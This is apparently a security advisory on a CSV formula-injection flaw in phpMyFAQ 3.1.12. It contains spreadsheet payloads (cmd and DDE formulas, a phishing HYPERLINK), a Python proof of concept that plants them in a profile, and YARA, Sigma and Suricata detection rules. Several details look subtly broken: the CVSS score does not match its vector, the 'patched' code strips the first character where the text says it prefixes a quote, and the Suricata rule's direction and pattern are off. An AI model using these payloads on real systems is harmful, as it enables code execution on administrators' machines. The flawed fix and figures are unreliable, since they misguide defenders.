CVE-2023-53929

Executive Summary

CVE-2023-53929 is a CSV injection vulnerability in phpMyFAQ version 3.1.12. An authenticated attacker can inject malicious formulas (e.g., =cmd|' /C calc'!A0) into their profile name. When an administrator exports user data as a CSV file, the injected formula is executed by spreadsheet applications (e.g., Microsoft Excel, LibreOffice Calc). This can lead to arbitrary code execution on the administrator's machine. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as critical due to the potential for remote code execution. No official patch is available; mitigation relies on input sanitization and user awareness.

Supply Chain & Package Security

phpMyFAQ is a PHP-based application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's CSV export functionality. The risk is to the administrator's client machine, not the server.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can trigger the injection remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs an authenticated user account.
• User Interaction (UI): Required (R) – Administrator must export and open the CSV file.
• Scope (S): Unchanged (U) – The vulnerability affects the client machine, not the server.
• Confidentiality (C): High (H) – Potential for data exfiltration.
• Integrity (I): High (H) – Attacker can modify files on the admin's machine.
• Availability (A): High (H) – Attacker can cause system crashes.

Threat Level: Critical (9.0) – Exploitation requires user interaction but can lead to full compromise of the administrator's workstation.

Deep Dive & Mechanics

The vulnerability lies in the CSV export functionality of phpMyFAQ. When an administrator exports user data, the application does not sanitize user-controlled fields (e.g., profile name). An attacker can set their profile name to a string starting with =, +, -, or @, which spreadsheet applications interpret as formulas. For example:

• =cmd|' /C calc'!A0 – Executes the Windows calculator.
• =HYPERLINK("http://malicious.com","Click here") – Phishing link.
• =DDE("cmd","/C calc","") – DDE-based code execution.

The payload is stored in the database and only triggered when the CSV is opened in a spreadsheet application. The vulnerability is classified as CWE-1236 (Improper Neutralization of Formula Elements in a CSV File).

Vulnerable vs. Patched Code

Vulnerable Code (phpMyFAQ 3.1.12):

// In export function, no sanitization
$csvData = array($user->getDisplayName(), $user->getEmail());
fputcsv($file, $csvData);

Patched Code (Hypothetical):

// Sanitize fields starting with =, +, -, @
$safeName = preg_replace('/^[=+\-@]/', "'", $user->getDisplayName());
$csvData = array($safeName, $user->getEmail());
fputcsv($file, $csvData);

The patch adds a single quote prefix to prevent formula interpretation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated user account on phpMyFAQ 3.1.12.
• Administrator exports user data as CSV.

Exploit Steps:

1. Log in to phpMyFAQ.
2. Navigate to profile settings.
3. Set display name to: =cmd|' /C calc'!A0
4. Save profile.
5. Wait for administrator to export user data (e.g., via Admin Panel > Users > Export CSV).
6. Administrator opens CSV in Excel/LibreOffice – calculator executes.

Proof-of-Concept (Python):

import requests

target = "http://target.com/phpmyfaq"
session = requests.Session()

# Login
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login.php", data=login_data)

# Update profile with payload
payload = "=cmd|' /C calc'!A0"
profile_data = {"display_name": payload}
session.post(f"{target}/profile.php", data=profile_data)

print("Payload injected. Wait for admin to export CSV.")

Blue Team

Detection:

• Monitor for profile name changes containing =, +, -, @.
• Alert on CSV export events.
• Use endpoint protection to block formula execution.

Prevention:

• Sanitize CSV exports (add single quote prefix).
• Educate administrators to open CSV files in text editors first.
• Disable DDE and dynamic data exchange in Excel.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /profile.php with display_name containing =, +, -, @.
• File: CSV files containing formulas starting with =, +, -, @.
• Process: Unexpected execution of calc.exe, cmd.exe, or powershell.exe when opening CSV files.
• Registry: (Windows) Changes to Excel DDE settings.

Detection Engineering

YARA Rule

rule CVE_2023_53929_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection from phpMyFAQ"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53929"
    strings:
        $formula1 = "=cmd|" ascii wide
        $formula2 = "=DDE(" ascii wide
        $formula3 = "=HYPERLINK(" ascii wide
        $formula4 = "+cmd|" ascii wide
        $formula5 = "-cmd|" ascii wide
        $formula6 = "@cmd|" ascii wide
    condition:
        any of ($formula*)
}

Sigma Rule

title: CSV Formula Injection via phpMyFAQ Profile
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects profile name changes containing formula injection characters
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: phpmyfaq
detection:
    selection:
        EventID: 1000  # Custom event for profile update
        display_name|contains:
            - '='
            - '+'
            - '-'
            - '@'
    condition: selection
falsepositives:
    - Legitimate use of special characters in names
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53929 phpMyFAQ CSV Injection - Profile Update"; flow:to_server,established; content:"POST"; http_method; content:"/profile.php"; http_uri; content:"display_name="; http_client_body; pcre:"/(%3D|=|%2B|\+|%2D|-|%40|@)/"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Sanitize CSV exports by prefixing fields starting with =, +, -, @ with a single quote.
2. Short-term: Update to the latest phpMyFAQ version if a patch is released.
3. Long-term: Implement input validation for all user-controlled fields.
4. Administrative: Educate administrators to open CSV files in text editors or use "Get Data" feature in Excel.
5. Technical: Disable DDE in Excel (File > Options > Trust Center > Trust Center Settings > External Content).

Valters IT – DevSecOps & Cyber Threat Intelligence